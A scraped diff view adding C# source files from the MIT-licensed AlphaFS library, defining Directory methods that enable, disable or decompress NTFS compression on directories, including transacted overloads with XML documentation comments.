||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path that describes a directory to decompress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
/// <param name="filters">The specification of custom filters to be used in the process.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, false, pathFormat);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Directory
|
||||
{
|
||||
/// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>
|
||||
/// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path to a directory to decompress.</param>
|
||||
[SecurityCritical]
|
||||
public static void DisableCompression(string path)
|
||||
{
|
||||
Device.ToggleCompressionCore(null, true, path, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>
|
||||
/// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path to a directory to decompress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void DisableCompression(string path, PathFormat pathFormat)
|
||||
{
|
||||
Device.ToggleCompressionCore(null, true, path, false, pathFormat);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Directory
|
||||
{
|
||||
/// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>
|
||||
/// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path to a directory to decompress.</param>
|
||||
[SecurityCritical]
|
||||
public static void DisableCompressionTransacted(KernelTransaction transaction, string path)
|
||||
{
|
||||
Device.ToggleCompressionCore(transaction, true, path, false, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>
|
||||
/// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
/// <param name="path">A path to a directory to decompress.</param>
|
||||
[SecurityCritical]
|
||||
public static void DisableCompressionTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)
|
||||
{
|
||||
Device.ToggleCompressionCore(transaction, true, path, false, pathFormat);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Directory
|
||||
{
|
||||
/// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>
|
||||
/// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path to a directory to compress.</param>
|
||||
[SecurityCritical]
|
||||
public static void EnableCompression(string path)
|
||||
{
|
||||
Device.ToggleCompressionCore(null, true, path, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>
|
||||
/// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path to a directory to compress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void EnableCompression(string path, PathFormat pathFormat)
|
||||
{
|
||||
Device.ToggleCompressionCore(null, true, path, true, pathFormat);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Directory
|
||||
{
|
||||
/// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>
|
||||
/// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path to a directory to compress.</param>
|
||||
[SecurityCritical]
|
||||
public static void EnableCompressionTransacted(KernelTransaction transaction, string path)
|
||||
{
|
||||
Device.ToggleCompressionCore(transaction, true, path, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>
|
||||
/// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="path">A path to a directory to compress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void EnableCompressionTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)
|
||||
{
|
||||
Device.ToggleCompressionCore(transaction, true, path, true, pathFormat);
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user